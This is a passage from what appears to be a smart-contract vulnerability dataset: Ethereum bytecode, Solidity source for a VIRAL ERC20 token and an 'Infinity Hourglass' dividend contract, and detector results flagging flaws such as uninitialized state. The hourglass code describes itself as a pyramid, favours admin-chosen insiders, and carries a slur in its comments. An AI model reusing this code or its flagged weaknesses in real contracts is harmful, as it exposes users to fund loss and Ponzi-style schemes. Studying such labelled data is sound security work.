180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b6874f7f2821c22825fb1ec03b30665e9d3a2b4d0b15873a02d8dea5a56a868664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,034
0x4ef5f49ba3b85399c3552537535e9da55efd2f69
pragma solidity ^0.4.16; // VIRAL Token contract based on the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Symbol: VRT // Status: ERC20 Verified contract VIRALToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * VIRALToken Math operations with safety checks to avoid unnecessary conflicts */ library VRTMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract VRTStandardToken is VIRALToken, Ownable { using VRTMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract VIRALTOKEN is VRTStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 18; //How many decimals to show. uint256 public totalSupply = 25 * (10**6) * 10**18 ; // 25 million tokens, 18 decimal places string constant public name = "ViralToken"; //fancy name: eg VIRAL string constant public symbol = "VRT"; //An identifier: eg VRT string constant public version = "v3"; //Version 2 standard. Just an arbitrary versioning scheme. function VIRALTOKEN(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn&#39;t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x606060405236156100d55763ffffffff60e060020a60003504166306fdde0381146100da578063095ea7b31461016557806318160ddd1461019b57806323b872dd146101c0578063313ce567146101fc57806354fd4d501461022157806370a08231146102ac57806379ba5097146102dd5780638da5cb5b146102f257806395d89b4114610321578063a9059cbb146103ac578063b414d4b6146103e2578063cae9ca5114610415578063d4ee1d901461048e578063dd62ed3e146104bd578063e724529c146104f4578063f2fde38b1461051a575b600080fd5b34156100e557600080fd5b6100ed61053b565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012a5780820151818401525b602001610111565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017057600080fd5b610187600160a060020a0360043516602435610572565b604051901515815260200160405180910390f35b34156101a657600080fd5b6101ae610619565b60405190815260200160405180910390f35b34156101cb57600080fd5b610187600160a060020a036004358116906024351660443561061f565b604051901515815260200160405180910390f35b341561020757600080fd5b6101ae610817565b60405190815260200160405180910390f35b341561022c57600080fd5b6100ed61081c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012a5780820151818401525b602001610111565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102b757600080fd5b6101ae600160a060020a0360043516610853565b60405190815260200160405180910390f35b34156102e857600080fd5b6102f0610872565b005b34156102fd57600080fd5b6103056108fe565b604051600160a060020a03909116815260200160405180910390f35b341561032c57600080fd5b6100ed61090d565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012a5780820151818401525b602001610111565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b757600080fd5b610187600160a060020a0360043516602435610944565b604051901515815260200160405180910390f35b34156103ed57600080fd5b610187600160a060020a0360043516610ab5565b604051901515815260200160405180910390f35b341561042057600080fd5b61018760048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610aca95505050505050565b604051901515815260200160405180910390f35b341561049957600080fd5b610305610c6c565b604051600160a060020a03909116815260200160405180910390f35b34156104c857600080fd5b6101ae600160a060020a0360043581169060243516610c7b565b60405190815260200160405180910390f35b34156104ff57600080fd5b6102f0600160a060020a03600435166024351515610ca8565b005b341561052557600080fd5b6102f0600160a060020a0360043516610d36565b005b60408051908101604052600a81527f566972616c546f6b656e00000000000000000000000000000000000000000000602082015281565b60008115806105a45750600160a060020a03338116600090815260046020908152604080832093871683529290522054155b15156105af57600080fd5b600160a060020a03338116600081815260046020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60065481565b600160a060020a03331660009081526005602052604081205460ff161561064857506000610810565b600160a060020a03808516600090815260046020908152604080832033909416835292905220548290108015906106985750600160a060020a038416600090815260036020526040902054829010155b80156106a45750600082115b80156106b85750600160a060020a03831615155b80156106eb5750600160a060020a0383166000908152600360205260409020546106e8818463ffffffff610d8e16565b10155b80156106f8575060443610155b151561070357600080fd5b600160a060020a03841660009081526003602052604090205461072c908363ffffffff610db616565b600160a060020a038086166000908152600360205260408082209390935590851681522054610761908363ffffffff610d8e16565b600160a060020a038085166000908152600360209081526040808320949094558783168252600481528382203390931682529190915220546107a9908363ffffffff610db616565b600160a060020a03808616600081815260046020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b9392505050565b601281565b60408051908101604052600281527f7633000000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a0381166000908152600360205260409020545b919050565b60025433600160a060020a0390811691161461088d57600080fd5b600254600154600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b600154600160a060020a031681565b60408051908101604052600381527f5652540000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03331660009081526005602052604081205460ff161561096d57506000610613565b600160a060020a0333166000908152600360205260409020548290108015906109965750600082115b80156109aa5750600160a060020a03831615155b80156109dd5750600160a060020a0383166000908152600360205260409020546109da818463ffffffff610d8e16565b10155b80156109ea575060443610155b15156109f557600080fd5b600160a060020a033316600090815260036020526040902054610a1e908363ffffffff610db616565b600160a060020a033381166000908152600360205260408082209390935590851681522054610a53908363ffffffff610d8e16565b600160a060020a0380851660008181526003602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b60056020526000908152604090205460ff1681565b600160a060020a03338116600081815260046020908152604080832094881680845294909152808220869055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a383600160a060020a03166040517f72656365697665417070726f76616c28616464726573732c75696e743235362c81527f616464726573732c6279746573290000000000000000000000000000000000006020820152602e01604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b83811015610c0c5780820151818401525b602001610bf3565b50505050905090810190601f168015610c395780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610c6157600080fd5b5060015b9392505050565b600254600160a060020a031681565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60015433600160a060020a03908116911614610cc357600080fd5b600160a060020a03821660009081526005602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15b5b5050565b60015433600160a060020a03908116911614610d5157600080fd5b600160a060020a03811615610d89576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b6000828201838110801590610da35750828110155b1515610dab57fe5b8091505b5092915050565b600082821115610dc257fe5b508082035b929150505600a165627a7a72305820634b1abce9647b1f1d4ea774ba910faef5f19206cb75291483e8383e0fd167300029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
3,035
0x0d53f391d949405350ede7a66c4dd8c034e6c747
pragma solidity ^0.4.20; /* asdasda test test */ contract TestTest { modifier onlyPeopleWithTokens() { require(myTokens() > 0);_; } modifier onlyPeopleWithProfits() { require(myDividends(true) > 0);_;} modifier onlyAdmin(){ address _customerAddress = msg.sender; require(administrator[_customerAddress]); _; } modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; if( onlyAdminsFriends && ((totalEthereumBalance() - _amountOfEthereum) <= adminsFriendQuota_ )){ require( adminsFriends_[_customerAddress] == true && (adminsFriendAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= adminsFriendMaxPurchase_ ); adminsFriendAccumulatedQuota_[_customerAddress] = SafeMath.add(adminsFriendAccumulatedQuota_[_customerAddress], _amountOfEthereum); _; } else {onlyAdminsFriends = false; _; } } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens); string public name = "Infinity Hourglass"; string public symbol = "INF"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 7; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; uint256 public stakingRequirement = 100e18; mapping(address => bool) internal adminsFriends_; uint256 constant internal adminsFriendMaxPurchase_ = 1 ether; uint256 constant internal adminsFriendQuota_ = 20 ether; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal adminsFriendAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; address address0x0 = msg.sender; mapping(address => bool) public administrator; bool public onlyAdminsFriends = true; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function TestTest() public {administrator[0x703e04F6162f0f6c63F397994EbbF372a90e3d1d] = true;} /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, address0x0); } /** * Converts all of caller&#39;s dividends to tokens. */ function reinvest() onlyPeopleWithProfits() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyPeopleWithProfits() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyPeopleWithTokens() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there&#39;s a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyPeopleWithTokens() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until adminsFriend phase is over // ( we dont want whale premines ) require(!onlyAdminsFriends && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the adminsFriend phase. */ function disableInitialStage() onlyAdmin() public { onlyAdminsFriends = false; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdmin() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdmin() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdmin() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can&#39;t give people infinite ethereum if(tokenSupply_ > 